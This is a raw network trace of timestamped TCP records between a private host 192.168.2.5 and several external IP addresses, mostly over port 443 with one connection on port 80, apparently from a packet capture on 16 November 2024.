Nov 16, 2024 19:22:25.306967020 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.307169914 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.307265043 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.307300091 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.320125103 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.320182085 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.320255041 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.320264101 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.320324898 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.320307016 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.320372105 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.320736885 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.320744038 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.320749044 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.320753098 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.323333025 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.323365927 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.323513031 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.323677063 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:25.323688984 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:25.381999016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:25.382128000 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:25.387945890 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.388000965 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.388349056 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.388356924 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.396040916 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.396121025 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.396128893 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.401508093 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.401550055 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.401556969 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.407488108 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.407538891 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.407545090 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.504158974 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.504167080 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.504997969 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.505073071 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.505079031 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.505526066 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.505655050 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.505660057 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.506006956 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.506222963 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.506228924 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.509387970 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.509469032 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.509516001 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.509522915 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.509556055 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.515297890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:25.518364906 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.518640995 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.518708944 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.518714905 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.520282030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:25.526899099 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.526951075 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.526956081 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.535466909 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.535526991 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.535530090 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.535543919 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.535587072 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.538738012 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:25.538795948 CET	443	49768	18.244.18.27	192.168.2.5
Nov 16, 2024 19:22:25.538847923 CET	49768	443	192.168.2.5	18.244.18.27
Nov 16, 2024 19:22:25.544672966 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.552234888 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.576189041 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.576242924 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.576252937 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.613881111 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.613899946 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.614212036 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.614250898 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.614569902 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.614650965 CET	443	49747	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.614701986 CET	49747	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.628325939 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.628365993 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.628411055 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.628428936 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.628524065 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.628530979 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.629350901 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.629443884 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.629498959 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.629504919 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.629776001 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.629781008 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.631515026 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.631567955 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.631573915 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.631680012 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.631735086 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.631742954 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.633280993 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.633390903 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.633451939 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.633457899 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.633622885 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.634111881 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.634269953 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.634346008 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.634351015 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.643681049 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.643770933 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.643800020 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.643806934 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.643841982 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.643860102 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.645596027 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.645657063 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.645663023 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.646347046 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.646482944 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.646488905 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.649219990 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.649277925 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.649285078 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.651034117 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.651082993 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.651087999 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.654104948 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.654133081 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.654205084 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.654561043 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.654575109 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.657280922 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.657337904 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.657346010 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.659240007 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.659307003 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.659318924 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.664671898 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.664948940 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.664956093 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.695388079 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.695487976 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.695496082 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.695522070 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.695561886 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.695636988 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.705919027 CET	49786	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.705986023 CET	443	49786	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.706098080 CET	49786	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.706290960 CET	49786	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:25.706311941 CET	443	49786	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:25.744288921 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.744357109 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.744369984 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.744580984 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.744621992 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.744626999 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.745275021 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.745362997 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.745413065 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.745419979 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.745451927 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.745781898 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.746150017 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.746195078 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.746208906 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.746411085 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.746457100 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.746462107 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.747392893 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.747483969 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.747539043 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.747545004 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.747584105 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.747589111 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.748294115 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.748392105 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.748440981 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.748446941 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.748481989 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.748486996 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.749349117 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.749408960 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.749413967 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750191927 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750247002 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.750252008 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750380993 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750551939 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750571012 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.750576973 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750775099 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750818014 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.750823021 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.750861883 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.750874043 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.751013994 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.751146078 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.751151085 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.752835989 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.752928972 CET	443	49750	172.217.18.1	192.168.2.5
Nov 16, 2024 19:22:25.753184080 CET	49750	443	192.168.2.5	172.217.18.1
Nov 16, 2024 19:22:25.841937065 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.841957092 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:25.842102051 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.842437029 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.842468023 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:25.842611074 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.842788935 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.842801094 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:25.842894077 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.842911959 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:25.850756884 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.850770950 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:25.850828886 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.851579905 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:25.851593018 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.047291994 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.054124117 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.084062099 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.084075928 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.086004972 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.086011887 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.087117910 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.087186098 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.088288069 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.088320017 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.097671032 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.099756956 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.099827051 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.100316048 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.100331068 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.109422922 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.109996080 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.110008955 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.110639095 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.110654116 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.114231110 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.115312099 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.115320921 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.115748882 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.115760088 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.214129925 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.214274883 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.214328051 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.214656115 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.214682102 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.214694977 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.214701891 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.217901945 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.218065023 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.218125105 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.220350027 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.220350027 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.220364094 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.220371962 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.227658987 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.227755070 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.227840900 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.229216099 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.229242086 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.229274988 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.230082035 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.230170012 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.230170012 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.230259895 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.230305910 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.230458021 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.230508089 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.230566025 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.230706930 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.230720043 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.237133980 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.237154007 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.237258911 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.237612009 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.237624884 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.254436016 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.254555941 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.254648924 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.255570889 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.255585909 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.255768061 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.255775928 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.260641098 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.260670900 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.260898113 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.263591051 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.263606071 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.266771078 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.266911983 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.266957045 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.267374039 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.267379045 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.277815104 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.277832985 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.277882099 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.278115988 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.278127909 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.296140909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:26.296295881 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:26.453330994 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.455302954 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.457180023 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.457191944 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.457832098 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.457842112 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.458408117 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.458671093 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.459100008 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.459744930 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.459821939 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.460092068 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.460098982 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.460376024 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.460383892 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.461075068 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.461133957 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.461808920 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.461869001 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.462397099 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.462479115 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.462605000 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.463345051 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.463426113 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.463730097 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.463737011 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.487212896 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.487260103 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.487349033 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.487662077 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:26.487688065 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:26.503340960 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.582237959 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.589965105 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.590261936 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.590487003 CET	49788	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.590497971 CET	443	49788	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.590636015 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.590713024 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.590949059 CET	443	49790	162.159.61.3	192.168.2.5
